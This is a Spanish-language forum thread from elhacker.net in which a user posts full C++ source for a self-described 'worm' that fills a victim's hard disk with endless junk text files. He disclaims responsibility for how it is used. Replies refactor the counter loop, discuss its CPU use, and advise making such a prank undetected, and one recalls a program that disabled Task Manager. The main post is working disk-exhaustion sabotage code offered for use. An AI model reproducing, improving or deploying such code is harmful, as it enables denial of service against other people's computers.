elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Gusano básico en C++
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Gusano básico en C++  (Leído 6,875 veces)
zikotik

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Gusano básico en C++
« en: 24 Octubre 2014, 07:21 am »

Hola gente, hace mucho no publicaba en este foro y era debido a la falta de tiempo. Hoy decidí publicar un pequeño código que armé en C++ que básicamente lo que hace es crear una cantidad enorme de archivos txt cuyos datos internos son datos para ocupar espacio en el hdisk de la pc víctima.

Los archivos van del 0.txt al 999999999999999999999.txt y dentro de cada archivo se aloja una cadena de datos que van desde el 00:00:00 hasta el 99:99:99 más un agregado de datos modificables.

Haciendo los cálculos, en 24 horas se generan un total de 996 GB de archivos basura, es decir, casi 1 TB.

Código:
#include <fstream>
#include <stdlib.h>
#include <string.h>

using namespace std;

int main(){
int nfile = 0;
char hckr[40] = "spk";

while(true){
char fname[24];
itoa(nfile, fname, 10);
strcat(fname, ".txt");
ifstream fseek(fname);

int b = 0;
int c = 0;
int d = 0;
int e = 0;
int f = 0;

if(!fseek.is_open()){
ofstream fo(fname);

for(int a = 0; a <= 9; f++){
if(f > 9){
f = 0;
e++;
}

if(e > 9){
f = 0;
e = 0;
d++;
}

if(d > 9){
f = 0;
e = 0;
d = 0;
c++;
}

if(c > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b++;
}

if(b > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b = 0;
a++;
}

fo << "# data [" << a << b << ":" << c << d << ":" << e << f << "] " << hckr << "\n";
}

fo.close();
} else {
fseek.close();
}

nfile++;
}
}

No sé si definirlo exactamente como un gusano ya que si bien no se duplica a sí mismo ni tampoco se propaga mediante p2p ni nada por el estilo, pero sí tiene la función afectar por lo menos a una parte específica de la pc.

Espero que les sirva de algo el código, y cualquier duda, me preguntan.

PD: NO ME HAGO CARGO DEL USO QUE LE DEN AL MISMO.


En línea

leosansan


Desconectado Desconectado

Mensajes: 1.314


Ver Perfil
Re: Gusano básico en C++
« Respuesta #1 en: 24 Octubre 2014, 12:52 pm »



Código:
..........................................
int b = 0;
int c = 0;
int d = 0;
int e = 0;
int f = 0;

if(!fseek.is_open()){
ofstream fo(fname);

for(int a = 0; a <= 9; f++){
if(f > 9){
f = 0;
e++;
}

if(e > 9){
f = 0;
e = 0;
d++;
}

if(d > 9){
f = 0;
e = 0;
d = 0;
c++;
}

if(c > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b++;
}

if(b > 9){
f = 0;
e = 0;
d = 0;
c = 0;
b = 0;
a++;
}
.....................................

PD: NO ME HAGO CARGO DEL USO QUE LE DEN AL MISMO.

UFFFFF!!!!!, muchas variables y demasiados if. ¿Por qué no lo intentas con un array?:

Código
  1. int num [6] = {0} ;
  2.   for( num [0] = 0 ; num [0] <= 9 ; num [5]++ )
  3.       for( i = 1 ; i <  6 ; i++ )
  4.          if ( num [i] > 9 && num [ i - 1 ]++ )
  5.               for( j = i ; j < 6 ; j++ )
  6.                    num [ j ] = 0  ;

¡¡¡¡ Saluditos! ..... !!!!





« Última modificación: 24 Octubre 2014, 13:02 pm por leosansan » En línea

Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: Gusano básico en C++
« Respuesta #2 en: 24 Octubre 2014, 16:04 pm »

 :xD :xD :xD

Ocupa mucho procesador o ram al momento  de ejecutarlo para que alguien se de cuenta?

Solo pregunto por curiosidad, es una de las formas simples de ser una molestia.
En línea

BloodSharp


Desconectado Desconectado

Mensajes: 814


¡ Hiperfoco !


Ver Perfil WWW
Re: Gusano básico en C++
« Respuesta #3 en: 24 Octubre 2014, 16:27 pm »

:xD :xD :xD

Ocupa mucho procesador o ram al momento  de ejecutarlo para que alguien se de cuenta?

Solo pregunto por curiosidad, es una de las formas simples de ser una molestia.

Mmm por lo que se vé de código mucha ram no consume pero si un procesador casi entero salvo que le metás un sleep relativamente corto para que no afecte el consumo del procesador y el rendimiento del programa... :P


B#
En línea



Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: Gusano básico en C++
« Respuesta #4 en: 24 Octubre 2014, 16:36 pm »

Mmm por lo que se vé de código mucha ram no consume pero si un procesador casi entero salvo que le metás un sleep relativamente corto para que no afecte el consumo del procesador y el rendimiento del programa... :P


B#
Si, si van a hacer un cacho para alguien, hay que hacerlo sin ser detectado.
En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: Gusano básico en C++
« Respuesta #5 en: 24 Octubre 2014, 18:17 pm »

Todo un clásico la verdad es fácil crear un script que joda un ordenador no tiene mucho misterio xD. Pero sí la CPU estará quemando , no es la mejor forma de hacerlo.

Me recuerda a mi programa de DDOS que funciona por X tiempo pero si en ese X tiempo tu ordenador sigue vivo (pues está en bucle infinito hasta que se agote el tiempo) es un milagro casi porque el bucle no para de quemar CPU hasta se me bloqueo el ordenador quizas se podría poner un Sleep(10) cada 5 barridas aunque se perdería mucha potencia.

Pero son posibles soluciones saludos.
En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
alkage

Desconectado Desconectado

Mensajes: 68


Ver Perfil
Re: Re: Gusano básico en C++
« Respuesta #6 en: 25 Octubre 2014, 01:50 am »

Mi primer 'programa' era similar a esto en cuanto en el fin de molestar al usuario. (Era en vb6)
Abría ventana tras ventana de el mismo aleatoriamente al mover el mouse para cerrarlo. Desactivaba el adm de tareas para qno se pudiera matar el proceso y solo quedaba reiniciar el equipo para volver a la normalidad.
Lo curioso es que me 'infecte' sin querer con el y tuve que crear luego la 'cura' jajajaja

A lo que voy es q era tan simple destruir, pero fue mas hermoso encontrar una forma de curar lo que había inventado....

 Saludos
En línea

rir3760


Desconectado Desconectado

Mensajes: 1.639


Ver Perfil
Re: Gusano básico en C++
« Respuesta #7 en: 25 Octubre 2014, 02:18 am »

muchas variables y demasiados if. ¿Por qué no lo intentas con un array?
Ya que solo se trata de un contador con la salida NN:NN:NN se puede reducir el numero de bucles a dos y el numero de expresiones mediante un centinela. Un programa para explicarlo mejor (C90):
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3.  
  4. int main(void)
  5. {
  6.   int num[4] = {0}; /* num[0] es un centinela */
  7.   int i;
  8.  
  9.   while (num[0] == 0){
  10.      printf("%02d:%02d:%02d\n", num[1], num[2], num[3]);
  11.  
  12.      for (i = 3; ++num[i] == 100; --i)
  13.         num[i] = 0;
  14.   }
  15.  
  16.   return EXIT_SUCCESS;
  17. }

Un saludo
En línea

C retains the basic philosophy that programmers know what they are doing; it only requires that they state their intentions explicitly.
--
Kernighan & Ritchie, The C programming language
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Gusano!! « 1 2 »
Programación Visual Basic
goodbye 12 5,271 Último mensaje 2 Junio 2006, 05:06 am
por LINTUCROWK
Red Lan Gusano
Hacking
Prime123 5 4,797 Último mensaje 9 Marzo 2011, 17:57 pm
por 177600531
algo basico super basico pero que no me sale
Programación C/C++
Freelancer 6 4,560 Último mensaje 22 Septiembre 2011, 03:25 am
por Freelancer
gusano « 1 2 »
Análisis y Diseño de Malware
CAR3S? 11 10,136 Último mensaje 21 Febrero 2012, 23:52 pm
por m0rf
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines